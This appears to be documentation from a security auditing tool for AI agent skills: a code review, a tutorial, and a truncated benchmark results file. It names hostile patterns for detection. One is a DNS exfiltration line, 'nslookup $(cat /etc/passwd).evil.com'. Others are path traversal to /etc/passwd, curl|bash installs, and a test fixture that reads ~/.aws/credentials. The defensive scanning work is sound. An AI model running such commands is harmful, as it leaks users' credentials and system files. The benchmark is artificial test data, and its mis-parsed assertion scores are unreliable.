1. TestSnapshotModel::test_from_dict_ignores_extra_keys 2. TestFindingKeyCollision::test_duplicate_code_same_line_both_counted 3. TestFindingKeyCollision::test_all_findings_tracked_in_regression 4. TestRegressionEdgeCases::test_score_drop_within_tolerance_passes 5. TestRegressionEdgeCases::test_corrupted_baseline_returns_error 6. TestRegressionEdgeCases::test_invalid_custom_baseline_path 7. TestRegressionEdgeCases::test_improvement_detected 8. TestRegressionEdgeCases::test_version_overwrite 9. TestGetLatestBaseline::test_prefers_latest_dir 10. TestGetLatestBaseline::test_falls_back_to_mtime_when_latest_corrupted 11. TestGetLatestBaseline::test_returns_none_when_no_baselines 12. TestGetLatestBaseline::test_returns_none_when_empty_baselines_dir
---
C. Design Issues
C1. Finding Comparison Logic
Before fix: Used (code, file_path, line_number) as the comparison key. This is insufficient because the same code can appear multiple times on the same line (e.g., SEC-003 for both subprocess.run and shell=True).
After fix: Uses (code, file_path, line_number, title) as the key. This is more robust but still has theoretical edge cases:
- If a finding's
titlechanges between versions (e.g., wording update in the scanner), it would appear as both a regression and an improvement simultaneously. - Consider using a hash of
(code, file_path, line_number, title)or assigning stable finding IDs in a future version.
Overall: The comparison logic is now adequate for the current set of scanners. The title-based differentiation correctly handles the known collision case.
C2. Score-Based Regression Threshold (5 points)
The current threshold is: fail if score drops by more than 5 points OR any new CRITICAL findings.
Analysis of the scoring system:
- CRITICAL = -25 points
- WARNING = -10 points
- INFO = -2 points
A 5-point tolerance means:
- Allows: Up to 2 new INFO findings (4 points) without failure
- Catches: Any single new WARNING (-10 exceeds threshold) or CRITICAL (caught by the explicit critical check)
- Edge case: 3 new INFO findings (-6 points) would trigger score-based failure despite being low severity
Assessment: The threshold is reasonable for a CI gate. The 5-point tolerance provides slight flexibility for cosmetic findings while catching anything substantive. The dual check (score AND criticals) is a good design - it ensures criticals always fail even if the score arithmetic somehow compensates.
Suggestion: Consider making the threshold configurable via CLI flag (--threshold) for teams with different risk tolerances.
C3. Finding Codes vs. Scores
The current system tracks both:
- Score-based: Overall quality trend via numeric score
- Code-based:
finding_codeslist in snapshots, and detailed finding comparison in regression
This is a good dual approach. The finding_codes field in Snapshot currently stores just codes (e.g., ["SEC-001", "SEC-003"]) without deduplication, which is useful for quick comparison. The detailed finding-level comparison in check_regression provides the granular diff.
Recommendation: The current approach is sufficient. Tracking specific finding codes in addition to scores is valuable for:
- Understanding what changed, not just how much the score moved
- Allowing targeted suppressions (e.g., "ignore this specific SEC-002 we've accepted")
- Future features like "require finding X to remain resolved"
---
D. Quick Fixes Applied
Fix 1: Finding Key Collision (regression.py)
Added title to the comparison key to prevent dict collisions when multiple findings share the same (code, file_path, line_number).
Diff summary:
# Before:
key = f"{f.code}:{f.file_path or ''}:{f.line_number or ''}"
# After:
key = f"{f.code}:{f.file_path or ''}:{f.line_number or ''}:{f.title}"Fix 2: _get_latest_baseline Robustness (regression.py)
Changed from mtime-sorting all directories (including latest/) to explicitly checking latest/ first with a fallback to mtime-sorted version directories (excluding latest/).
Fix 3: Added 12 Missing Tests (test_regression.py)
Covered finding key collisions, edge cases (tolerance, corruption, improvements), _get_latest_baseline behavior, and Snapshot.from_dict forward compatibility.
---
Summary
| Category | Count |
|---|---|
| Bugs found | 2 (both fixed) |
| Design issues noted | 4 (1 fixed, 3 documented) |
| Tests added | 12 |
| Final test count | 106/106 passing |
The Phase 2 regression gate is well-designed overall. The snapshot/compare workflow is intuitive, the CLI integration is clean, and the dual score+finding comparison provides useful CI gate semantics. The two bugs fixed during review (key collision, baseline lookup) were real but unlikely to cause issues in typical single-skill workflows. The thread safety of SAFE_DOMAINS should be addressed if the library is used as an API.
Code Review: agent-skill-evaluation v0.1.0
Reviewer: Claude Opus 4.6 Date: 2026-03-12 Test suite: 56 tests passing (verified) Skills tested: weather, github, pdf, stock-analysis
---
A. Code Quality
Strengths
- Zero external dependencies — the project runs on pure Python 3.10+, which is ideal for a security tool
- Clean separation of concerns: schemas, audit modules, CLI, report generation
- Consistent use of
Findingdataclass across all modules - Text report formatting is readable and well-structured
- JSON output enables CI/CD integration
Bugs Found
BUG-1: Domain matching allows malicious domain spoofing (SECURITY)
File: skill_eval/audit/security_scan.py:230 Severity: High
if any(domain.endswith(safe) for safe in SAFE_DOMAINS):
continueThis matches evil-github.com as safe because "evil-github.com".endswith("github.com") is True. An attacker could register notgithub.com or evil-pypi.org and bypass URL detection entirely.
Fix: Check for exact match or proper subdomain match:
if any(domain == safe or domain.endswith("." + safe) for safe in SAFE_DOMAINS):BUG-2: .env files are never scanned for secrets
File: skill_eval/audit/security_scan.py:353-354 Severity: High
if file_path.name.startswith("."):
continueThis skips ALL dot-files, including .env — the single most likely file to contain secrets. The .env extension is even listed in text_extensions (line 348), but the dot-file skip on line 353 means it's never reached.
Fix: Exempt .env files from the dot-file skip, or use a targeted exclusion list (e.g., skip .git, .DS_Store, etc.).
BUG-3: check_structure return type not documented correctly
File: skill_eval/audit/structure_check.py:143-150 Severity: Low
The docstring says "Returns: List of findings" but the function returns tuple[list[Finding], Optional[dict], int]. The CLI (cli.py:34-38) has a defensive isinstance(result, tuple) check which works around this, but the type mismatch is confusing.
Fix: Update the docstring and add a proper return type annotation.
BUG-4: Score of 0/100 "PASSED" is contradictory
File: skill_eval/schemas.py:68-70 and scoring in general Severity: Medium
The stock-analysis skill gets score 0/100 Grade F but "PASSED" because passed only checks critical_count == 0. Having 15 warnings (mostly external URLs) produces a score of 0, which is misleading for a legitimate skill. The scoring penalizes too heavily for INFO-level URL findings when aggregated.
This is a design issue more than a bug, but it undermines trust in the tool's output.
BUG-5: npm install detection in non-executable contexts
File: skill_eval/audit/security_scan.py:287-307 Severity: Low
The _scan_file_for_installs function doesn't filter by file type. It flags npm install in README.md and SKILL.md documentation, where the instruction is for the user to run manually. The subprocess scanner correctly limits to script extensions, but the install scanner doesn't.
Code Style Issues
1. Inconsistent return types: check_structure returns a tuple; scan_security and analyze_permissions return lists. The CLI has to work around this with isinstance checks.
2. `format` parameter in `run_audit` is unused: cli.py:16 accepts format as a parameter but never uses it inside the function (formatting is done in main).
3. Magic numbers: Score deductions (25, 10, 2) in schemas.py:111-116 are not configurable and not documented. The thresholds for grades (90/80/70/60) are also hardcoded with no explanation.
4. No `__all__` exports: The public API of each module is unclear.
---
B. Test Coverage Gaps
Scenarios NOT tested
1. `calculate_score` edge cases: No test for score clamping at 0, no test for exactly-on-boundary grades (90, 80, 70, 60), no test for a skill with zero findings (score 100).
2. `calculate_grade` boundary values: The grade boundary (e.g., score=90 → "A", score=89 → "B") is untested.
3. Domain spoofing in URL scanning (BUG-1): No test verifies that evil-github.com is NOT treated as safe.
4. `.env` file scanning (BUG-2): No test verifies that .env files are scanned.
5. Files with no extension: security_scan.py:356 skips files with suffix != "" but no extension — meaning extensionless files (common for shell scripts, Makefiles) are scanned. This is the correct behavior but untested.
6. Large file skip: No test for the 1MB file size limit in scan_security.
7. `AuditReport.to_dict()` and `Finding.to_dict()`: Used by JSON output but not directly unit-tested.
8. `_simple_yaml_parse` edge cases: No tests for empty input, single-quoted values, block scalars (|), or YAML with only comments.
9. Concurrent/overlapping patterns: No test for a line that matches multiple secret patterns simultaneously.
10. Unicode/encoding: No test for SKILL.md with non-ASCII content (common for international skills).
11. Symlink handling: No test for skill directories containing symlinks.
12. `allowed-tools` with `Shell` or `Terminal`: Tests only cover Bash(*), not other high-risk tool names.
Fixture realism
The fixtures are minimal but functional. The good-skill fixture is too simple to catch false positives — it has no external URLs, no scripts with imports, no allowed-tools. A more realistic "good" fixture with scoped Bash, legitimate URLs, and safe scripts would better test for false positives.
---
C. False Positive / False Negative Analysis
False Positives Found (from real skills)
| Skill | Finding | Why it's false |
|---|---|---|
| github | STR-013: metadata not a mapping | Metadata uses inline JSON5 syntax (OpenClaw convention). The simple YAML parser can't handle multi-line JSON objects. |
| 8× STR-017: missing shebang | Python scripts called via python3 script.py don't need shebangs. Flagging every script is noisy. | |
| stock-analysis | 3× SEC-004: npm install in docs | Instructions in README.md/SKILL.md telling users to install tools are not executable code. |
| stock-analysis | 15× SEC-002: external URLs in scripts | A financial data skill needs to call Yahoo Finance, CoinGecko, etc. These are all expected. |
| stock-analysis | SEC-002: img.shields.io, clawhub.ai | Badge URLs and marketplace URLs in README.md are harmless. |
False Negatives (what the tool MISSES)
1. Obfuscated secrets: Base64-encoded API keys, hex strings, rot13 — none detected. 2. Path traversal: ../../../etc/passwd in scripts or instructions — not checked. 3. Symlink attacks: A skill could include scripts/helper -> /etc/shadow. 4. Data exfiltration via DNS: nslookup $(cat /etc/passwd).evil.com — not detected. 5. Encoded/split URLs: Building URLs from string concatenation to evade regex. 6. Embedded binaries: .wasm, .so, compiled executables in the skill directory. 7. Git hooks: A skill could contain .git/hooks/ that execute on clone. 8. YAML injection: The custom YAML parser could potentially be exploited with crafted frontmatter. 9. File permission issues: World-writable scripts or SUID bits. 10. Indirect shell execution: os.execvp, ctypes.CDLL, importlib.import_module — not in subprocess patterns.
Recommendations to Reduce False Positives
1. Add a "known API endpoints" allowlist for financial APIs, CI/CD services, etc. 2. Don't flag URLs in README.md/documentation files as WARNING — keep them INFO only. 3. Make `_scan_file_for_installs` file-type-aware (skip .md files) like the subprocess scanner already does. 4. Add JSON5 parsing support for the metadata field (common in OpenClaw skills). 5. Make shebang check configurable or downgrade to INFO only for .py files.
Recommendations to Catch More Real Issues
1. Scan `.env` files (fix BUG-2). 2. Fix domain matching (fix BUG-1). 3. Add path traversal detection: scan for ../ patterns in scripts. 4. Add `os.execvp`/`ctypes`/`importlib` to subprocess patterns. 5. Check for embedded binaries: flag .exe, .so, .wasm, .dll files.
---
D. Missing Features for Phase 1
Quick wins (high value, low effort)
1. `--allowlist` flag: Let users provide a list of known-safe domains to suppress SEC-002 noise. This is the #1 usability issue. 2. `--ignore` flag: Skip specific finding codes (e.g., --ignore STR-017,SEC-002). 3. Exit code documentation: Document that exit code 2 = critical, 1 = warnings (with --fail-on-warning), 0 = clean. 4. Summary one-liner mode: skill-eval audit /path --quiet → just print PASSED (92/A) or FAILED (35/F). 5. Batch mode: skill-eval audit /path/to/skills/* to audit multiple skills at once.
Medium effort
6. Config file support (.skill-eval.yaml): Define allowlisted domains, ignored codes, custom thresholds per project. 7. SARIF output: For GitHub Code Scanning integration. 8. `--fix` mode: Auto-fix simple issues (add shebangs, etc.).
Would make v0.1 immediately useful
- The
--allowlistand--ignoreflags are critical. Without them, the stock-analysis skill generates 32 findings, most of which are noise. Users will abandon the tool if every run produces a wall of false positives. - Batch mode is important for marketplace operators who need to audit all skills at once.
---
E. Bugs Found (Summary)
| Bug | File:Line | Severity | Fixed |
|---|---|---|---|
| BUG-1: Domain spoofing in URL safe check | security_scan.py:230 | High | Yes |
BUG-2: .env files skipped by dot-file filter | security_scan.py:353 | High | Yes |
BUG-3: check_structure return type undocumented | structure_check.py:143 | Low | Yes |
| BUG-4: Score 0 + "PASSED" contradictory | schemas.py:68 | Medium | No (design decision) |
| BUG-5: Install pattern detection in docs | security_scan.py:287 | Low | Yes |
---
Overall Assessment
The framework is a solid Phase 1 foundation. The architecture is clean, the zero-dependency approach is the right call for a security tool, and the test suite covers the core paths well. The two security-relevant bugs (domain spoofing and .env skip) need to be fixed before any release. The false positive rate on real skills (especially stock-analysis) indicates that an allowlist/ignore mechanism is needed before v0.1 can be useful in practice.
Grade: B- — Functional and well-structured, but needs the bug fixes and false-positive mitigation before it's ready for users.
Tutorial
This tutorial has two paths. Pick the one that matches your goal:
- Path A — I want to evaluate a skill (consumer)
- Path B — I am building a skill (author)
Both paths use the built-in test fixtures so you can follow along without writing any code.
Want the full lifecycle in one walkthrough? See `examples/data-analysis/` for a complete, runnable demo that walks through every skill-eval command from audit to regression checking.Prerequisites
git clone https://github.com/aws-samples/sample-agent-skill-eval.git
cd agent-skill-evaluation
pip install -e .Verify the install:
skill-eval --help---
Path A: Evaluating a Skill
You found a skill on a marketplace and want to know if it's safe and well-built.
Step 1: Run an audit
skill-eval audit tests/fixtures/eval-skillExpected output:
══════════════════════════════════════════════════════════
Agent Skill Security Audit Report
══════════════════════════════════════════════════════════
Skill: eval-skill
Path: .../tests/fixtures/eval-skill
Score: 100/100 (Grade: A)
──────────────────────────────────────────────────────────
✅ CRITICAL: 0 │ ⚠️ WARNING: 0 │ ℹ️ INFO: 0
──────────────────────────────────────────────────────────
Result: ✅ PASSED (no critical findings)
══════════════════════════════════════════════════════════This is a clean skill. Now try a bad one:
skill-eval audit tests/fixtures/bad-skill --verboseYou'll see findings like SEC-001 (hardcoded secrets), SEC-004 (curl|bash), SEC-009 (MCP server references), and PERM-001 (unrestricted Bash access). Each finding includes a severity, a description, and a suggested fix.
Step 2: Understand the report
The audit report has three parts:
1. Score & grade — starts at 100, deducts per finding (CRITICAL: -25, WARNING: -10, INFO: -2). Grade A (90+) through F (<60). 2. Finding summary — count of critical/warning/info findings. 3. Finding details — each finding shows a code (e.g., SEC-001), the file and line, what was found, and how to fix it.
Key decision: a skill with any CRITICAL findings fails the audit. Do not install it without reviewing and fixing those issues.
Step 3: Get the full picture with report
The audit only checks safety. For a complete evaluation that also tests functional quality and trigger reliability:
# Dry-run first to validate eval files exist
skill-eval report tests/fixtures/eval-skill --dry-runFor a live run (requires the Claude CLI):
skill-eval report tests/fixtures/eval-skillThe unified report produces a weighted grade: audit (40%) + functional (40%) + trigger (20%).
Step 4: Suppress known-safe findings
If the skill uses a known-safe API domain, suppress the external URL findings:
skill-eval audit /path/to/skill --allowlist "api.weather.gov,wttr.in"To suppress specific finding codes:
skill-eval audit /path/to/skill --ignore "STR-017,SEC-002"Step 5: Set up CI with GitHub Actions
Gate pull requests on audit results using the reusable workflow:
# .github/workflows/skill-check.yml
name: Skill Check
on: [pull_request]
jobs:
evaluate:
uses: aws-samples/sample-agent-skill-eval/.github/workflows/skill-eval.yml@main
with:
skill_path: "path/to/your-skill"
fail_on_warning: trueOr run audit directly:
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- run: pip install git+https://github.com/aws-samples/sample-agent-skill-eval.git
- run: skill-eval audit ./my-skill --fail-on-warningExit codes: 0 = pass, 1 = warnings (with --fail-on-warning), 2 = critical findings.
---
Path B: Building a Skill
You're writing a skill and want to set up evaluations.
Step 1: Create your skill
Your skill needs a SKILL.md with YAML frontmatter:
---
name: my-skill
description: "Does something useful with data files."
license: MIT
---
# My Skill
Instructions for the agent go here...Step 2: Scaffold eval files with init
skill-eval init /path/to/my-skillThis reads your SKILL.md frontmatter and generates:
my-skill/
└── evals/
├── evals.json # Functional eval cases
└── eval_queries.json # Trigger queriesThe generated files contain template content based on your skill's name and description. If the files already exist, init skips them.
Step 3: Customize eval cases
Edit evals/evals.json with real test cases. Each eval case has:
[
{
"id": "unique-case-id",
"prompt": "The task to give the agent",
"expected_output": "Optional reference answer",
"files": ["files/input.csv"],
"assertions": [
"contains 'expected text'",
"does not contain 'error'",
"matches regex /pattern/",
"is valid JSON",
"starts with '{'",
"ends with '}'",
"has at least 3 lines"
]
}
]Edit evals/eval_queries.json with trigger queries:
[
{"query": "A query that should activate my skill", "should_trigger": true},
{"query": "A query that should NOT activate my skill", "should_trigger": false}
]Aim for at least 2-3 should-trigger and 2-3 should-not-trigger queries.
Step 4: Validate with dry-run
# Check eval cases parse correctly
skill-eval functional /path/to/my-skill --dry-run
# Check trigger queries parse correctly
skill-eval trigger /path/to/my-skill --dry-runDry-run validates the JSON structure without calling any agent CLI — no tokens spent.
Step 5: Run live evaluations
# Functional evaluation — runs each case with and without your skill
skill-eval functional /path/to/my-skill --runs 3
# Trigger reliability — checks activation precision
skill-eval trigger /path/to/my-skill --runs 3Functional evaluation runs each prompt twice per run: once with the skill installed and once without. The difference shows the skill's value-add.
Trigger evaluation sends each query multiple times and measures what percentage of runs correctly trigger (or don't trigger) the skill.
Step 6: Interpret benchmark results
Functional evaluation writes evals/benchmark.json with four dimension scores:
- Outcome — assertion pass rate (did the agent produce correct output?)
- Process — tool usage efficiency (did the agent use tools appropriately?)
- Style — formatting quality (is the output well-structured?)
- Efficiency — tokens per passing assertion (cost-effectiveness)
Trigger evaluation reports:
- Trigger rate per query — what % of runs activated the skill
- Pass/fail per query — based on whether trigger rate meets the threshold
Step 7: Set up CI to gate PRs
Combine audit + functional + trigger in CI:
name: Skill Evaluation
on: [pull_request]
jobs:
evaluate:
uses: aws-samples/sample-agent-skill-eval/.github/workflows/skill-eval.yml@main
with:
skill_path: "."
run_functional: true
run_trigger: true
fail_on_warning: trueThis runs all three phases. The workflow outputs passed, grade, and score that you can use in subsequent jobs.
Alternatively, use the unified report command:
skill-eval report /path/to/my-skill --format json --output evals/report.jsonStep 8: Create a baseline and track regressions
Once your skill passes all evaluations:
# Save the current audit state
skill-eval snapshot /path/to/my-skill --version v1.0.0
# On future PRs, check for regressions
skill-eval regression /path/to/my-skill---
Built-in Fixtures Reference
The project includes test fixtures you can use for learning:
| Fixture | Path | Purpose |
|---|---|---|
data-analysis | examples/data-analysis/ | Complete demo: audit + evals + trigger + lifecycle. Score: 98/A |
eval-skill | tests/fixtures/eval-skill/ | Clean skill with eval files. Score: 100/A |
bad-skill | tests/fixtures/bad-skill/ | Intentionally insecure skill. Score: 0/F |
Explore them to understand what good and bad skills look like:
# Clean skill
skill-eval audit tests/fixtures/eval-skill --verbose
# Insecure skill
skill-eval audit tests/fixtures/bad-skill --verboseNext Steps
- Read Core Concepts for details on scoring, the AgentRunner abstraction, and eval file schemas
- Read CONTRIBUTING.md to contribute new security checks or agent runners
- Check
references/security-checklist.mdfor the OWASP LLM Top 10 mapping
{
"skill_name": "skill-eval",
"skill_path": ".",
"eval_count": 5,
"runs_per_eval": 1,
"metadata": {
"timestamp": "2026-03-15T08:03:15Z"
},
"runs": [
{
"eval_id": "audit-good-skill",
"run_index": 0,
"with_skill": {
"eval_id": "audit-good-skill",
"run_index": 0,
"assertion_results": [
{
"text": "contains '100'",
"passed": true,
"evidence": "Substring found: '100'",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains 'A'",
"passed": true,
"evidence": "Substring found: 'a'",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "does not contain 'CRITICAL'",
"passed": false,
"evidence": "Substring found (FAIL): 'critical'",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "does not contain 'FAILED'",
"passed": true,
"evidence": "Substring not found (OK): 'failed'",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
}
],
"pass_rate": 0.75,
"summary": "With skill: 75% assertions passed",
"execution_metrics": {
"tool_calls": 0,
"token_counts": {
"input_tokens": 158981,
"output_tokens": 1370,
"cache_read_input_tokens": 0,
"cache_creation_input_tokens": 0
}
},
"timing": {
"elapsed_seconds": 85.11145413597114
},
"raw_output": "The audit completed successfully. Here are the results:\n\n- **Score: 100/100**\n- **Grade: A**\n- **Result: PASSED** (no critical findings)\n\nThe breakdown:\n- **CRITICAL findings:** 0\n- **WARNING findings:** 0\n- **INFO findings:** 0\n\nThe `good-skill` lives up to its name \u2014 it's a perfectly clean skill with zero security findings across all three check categories (structure, security, and permissions)."
},
"without_skill": {
"eval_id": "audit-good-skill",
"run_index": 0,
"assertion_results": [
{
"text": "contains '100'",
"passed": true,
"evidence": "Substring found: '100'",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains 'A'",
"passed": true,
"evidence": "Substring found: 'a'",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "does not contain 'CRITICAL'",
"passed": false,
"evidence": "Substring found (FAIL): 'critical'",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "does not contain 'FAILED'",
"passed": true,
"evidence": "Substring not found (OK): 'failed'",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
}
],
"pass_rate": 0.75,
"summary": "Without skill: 75% assertions passed",
"execution_metrics": {
"tool_calls": 0,
"token_counts": {
"input_tokens": 162883,
"output_tokens": 1010,
"cache_read_input_tokens": 0,
"cache_creation_input_tokens": 0
}
},
"timing": {
"elapsed_seconds": 27.682263819966465
},
"raw_output": "The security audit results for `good-skill`:\n\n- **Score:** 100/100\n- **Grade:** A\n- **Result:** PASSED (no critical findings)\n- **Findings:** 0 critical, 0 warnings, 0 info\n\nThis skill has a perfect security score with no issues detected."
},
"delta_pass_rate": 0.0
},
{
"eval_id": "audit-bad-skill",
"run_index": 0,
"with_skill": {
"eval_id": "audit-bad-skill",
"run_index": 0,
"assertion_results": [
{
"text": "contains 'F'",
"passed": true,
"evidence": "Substring found: 'f'",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains 'CRITICAL' or contains 'critical'",
"passed": false,
"evidence": "Substring not found: \"critical' or contains 'critical\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains 'SEC-004' or contains 'curl'",
"passed": false,
"evidence": "Substring not found: \"sec-004' or contains 'curl\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "does not contain 'Grade: A'",
"passed": true,
"evidence": "Substring not found (OK): 'grade: a'",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
}
],
"pass_rate": 0.5,
"summary": "With skill: 50% assertions passed",
"execution_metrics": {
"tool_calls": 0,
"token_counts": {
"input_tokens": 289973,
"output_tokens": 2369,
"cache_read_input_tokens": 0,
"cache_creation_input_tokens": 0
}
},
"timing": {
"elapsed_seconds": 82.08968564402312
},
"raw_output": "## Audit Results: `insecure-installer` \u2014 Grade F (0/100)\n\nThe skill **failed catastrophically** with **6 critical**, **1 warning**, and **2 info** findings. Here's a summary:\n\n### Critical Findings (6)\n\n| Code | Issue | Location |\n|------|-------|----------|\n| **SEC-004** | `curl \\| bash` \u2014 pipes remote script directly to shell | `SKILL.md:14` |\n| **SEC-004** | `wget \\| sh` \u2014 same supply chain risk pattern | `SKILL.md:17` |\n| **SEC-009** | `npx -y` auto-installs unverified MCP server package | `SKILL.md:20` |\n| **SEC-009** | `npx -y` auto-installs another unknown MCP package | `SKILL.md:21` |\n| **SEC-004** | `curl \\| bash` with f-string interpolation in Python code | `scripts/installer.py:9` |\n| **SEC-006** | `pickle.load()` \u2014 unsafe deserialization that can execute arbitrary code | `scripts/installer.py:18` |\n\n### Warning (1)\n\n| Code | Issue | Location |\n|------|-------|----------|\n| **SEC-003** | `subprocess.run()` with `shell=True` \u2014 allows shell injection | `scripts/installer.py:10` |\n\n### Info (2)\n\n| Code | Issue | Location |\n|------|-------|----------|\n| **STR-017** | Missing shebang line in Python script | `scripts/installer.py:1` |\n| **SEC-003** | General subprocess execution detected | `scripts/installer.py:8` |\n\n### Key Takeaways\n\n1. **Supply chain attacks**: The skill uses `curl | bash` and `wget | sh` patterns in three places \u2014 this downloads and executes arbitrary remote code with no verification, making it trivially exploitable.\n2. **Unsafe deserialization**: `pickle.load()` can execute arbitrary Python code during deserialization. If an attacker modifies the cache file, they achieve code execution. Should use `json` instead.\n3. **Shell injection**: `subprocess.run()` with `shell=True` and an f-string (`f\"curl ... {tool_name}.sh | bash\"`) means a malicious `tool_name` value could inject arbitrary shell commands.\n4. **Unverified MCP packages**: `npx -y` auto-installs and runs packages without any verification \u2014 another supply chain vector.\n\nThis skill s"
},
"without_skill": {
"eval_id": "audit-bad-skill",
"run_index": 0,
"assertion_results": [
{
"text": "contains 'F'",
"passed": true,
"evidence": "Substring found: 'f'",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains 'CRITICAL' or contains 'critical'",
"passed": false,
"evidence": "Substring not found: \"critical' or contains 'critical\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains 'SEC-004' or contains 'curl'",
"passed": false,
"evidence": "Substring not found: \"sec-004' or contains 'curl\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "does not contain 'Grade: A'",
"passed": true,
"evidence": "Substring not found (OK): 'grade: a'",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
}
],
"pass_rate": 0.5,
"summary": "Without skill: 50% assertions passed",
"execution_metrics": {
"tool_calls": 0,
"token_counts": {
"input_tokens": 122692,
"output_tokens": 1357,
"cache_read_input_tokens": 0,
"cache_creation_input_tokens": 0
}
},
"timing": {
"elapsed_seconds": 61.62551840394735
},
"raw_output": "## Security Audit Results: `insecure-installer`\n\n**Score: 0/100 (Grade: F)** \u2014 6 critical findings, 1 warning, 2 informational.\n\n### Critical Findings (6)\n\n| Code | Issue | Location | Description |\n|------|-------|----------|-------------|\n| **SEC-004** | `curl \\| sh` | `SKILL.md:14` | Pipes `curl` output directly to `bash` \u2014 supply chain risk |\n| **SEC-004** | `wget \\| sh` | `SKILL.md:17` | Pipes `wget` output directly to `sh` \u2014 supply chain risk |\n| **SEC-009** | `npx -y` external package | `SKILL.md:20` | Auto-installs and runs `@example/mcp-server-tools` without verification |\n| **SEC-009** | `npx -y` external package | `SKILL.md:21` | Auto-installs and runs `some-unknown-mcp-package` without verification |\n| **SEC-004** | `curl \\| sh` in Python | `installer.py:9` | `install_tool()` dynamically constructs a curl-pipe-bash command with user-controlled `tool_name` |\n| **SEC-006** | Unsafe deserialization | `installer.py:18` | `pickle.load()` can execute arbitrary code when loading a tampered cache file |\n\n### Warning (1)\n\n| Code | Issue | Location | Description |\n|------|-------|----------|-------------|\n| **SEC-003** | `shell=True` | `installer.py:10` | `subprocess.run()` with `shell=True` enables shell injection, especially since `tool_name` is interpolated into the command string |\n\n### Informational (2)\n\n- **STR-017**: `installer.py` is missing a shebang line (`#!/usr/bin/env python3`)\n- **SEC-003**: General subprocess usage detected in `installer.py:8`\n\n### Summary of Risks\n\n1. **Supply chain attacks (SEC-004)**: Three instances of piping remote scripts directly into a shell. An attacker who compromises the URL serves malicious code to all users.\n2. **MCP server supply chain (SEC-009)**: Two `npx -y` calls auto-install and execute unverified npm packages that could intercept agent communications or exfiltrate data.\n3. **Arbitrary code execution via pickle (SEC-006)**: `pickle.load()` deserializes arbitrary Python objects \u2014 a tampered `cache.pkl` file can run "
},
"delta_pass_rate": 0.0
},
{
"eval_id": "audit-permission-issues",
"run_index": 0,
"with_skill": {
"eval_id": "audit-permission-issues",
"run_index": 0,
"assertion_results": [
{
"text": "contains 'PERM' or contains 'permission'",
"passed": false,
"evidence": "Substring not found: \"perm' or contains 'permission\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains 'Bash' or contains 'bash'",
"passed": false,
"evidence": "Substring not found: \"bash' or contains 'bash\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains 'sudo' or contains 'ssh'",
"passed": false,
"evidence": "Substring not found: \"sudo' or contains 'ssh\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
}
],
"pass_rate": 0.0,
"summary": "With skill: 0% assertions passed",
"execution_metrics": {
"tool_calls": 0,
"token_counts": {
"input_tokens": 183425,
"output_tokens": 1872,
"cache_read_input_tokens": 0,
"cache_creation_input_tokens": 0
}
},
"timing": {
"elapsed_seconds": 97.34625251498073
},
"raw_output": "Here are the results of the `skill-eval audit` on the **over-permissioned** skill:\n\n## Score: 58/100 \u2014 Grade: F\n\nThe audit found **4 warnings** and **1 info-level finding**, all in the permissions category:\n\n### Problems Found\n\n1. **[PERM-001] Unrestricted Bash/Shell access** (WARNING)\n - The skill declares `Bash(*)` in `allowed-tools`, granting it the ability to execute **arbitrary system commands**. A file organizer should only need scoped commands like `Bash(mv:*) Bash(find:*)`, not a full shell.\n\n2. **[PERM-004] References root/sudo access** (WARNING)\n - Line 30 of SKILL.md uses `sudo find /home -type f -exec ...`, instructing the agent to run commands with **root privileges**. A file organizer has no business running as root.\n\n3. **[PERM-004] References sensitive directory access \u2014 `~/.ssh/`** (WARNING)\n - Line 38 tells the agent to read `~/.ssh/known_hosts`. There is no legitimate reason for a file organizer to access SSH configuration.\n\n4. **[PERM-004] References sensitive directory access \u2014 `~/.aws/`** (WARNING)\n - Line 39 tells the agent to access `~/.aws/credentials` for \"S3 backup targets.\" This exposes AWS secrets to a skill that should only be sorting local files.\n\n5. **[PERM-005] References absolute system path `/etc/passwd`** (INFO)\n - Line 40 reads `/etc/passwd` for \"user home directory detection.\" Skills should operate within the workspace, not read system files.\n\n### Additional Observations (beyond what the audit flagged)\n\n- The `scripts/organize.sh` also uses `sudo mv` on every operation, reinforcing the unnecessary privilege escalation.\n- The `allowed-tools` list includes `delete_file` and `execute_command`, which are overkill for a file sorting utility.\n- The skill's description says it \"sorts files into directories based on type\" \u2014 none of the sensitive directory access (`~/.ssh`, `~/.aws`, `/etc/passwd`) is needed for that purpose.\n\n### Summary\n\nThis skill is a textbook example of **violating the principle of least privilege**. It re"
},
"without_skill": {
"eval_id": "audit-permission-issues",
"run_index": 0,
"assertion_results": [
{
"text": "contains 'PERM' or contains 'permission'",
"passed": false,
"evidence": "Substring not found: \"perm' or contains 'permission\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains 'Bash' or contains 'bash'",
"passed": false,
"evidence": "Substring not found: \"bash' or contains 'bash\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains 'sudo' or contains 'ssh'",
"passed": false,
"evidence": "Substring not found: \"sudo' or contains 'ssh\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
}
],
"pass_rate": 0.0,
"summary": "Without skill: 0% assertions passed",
"execution_metrics": {
"tool_calls": 0,
"token_counts": {
"input_tokens": 172383,
"output_tokens": 1679,
"cache_read_input_tokens": 0,
"cache_creation_input_tokens": 0
}
},
"timing": {
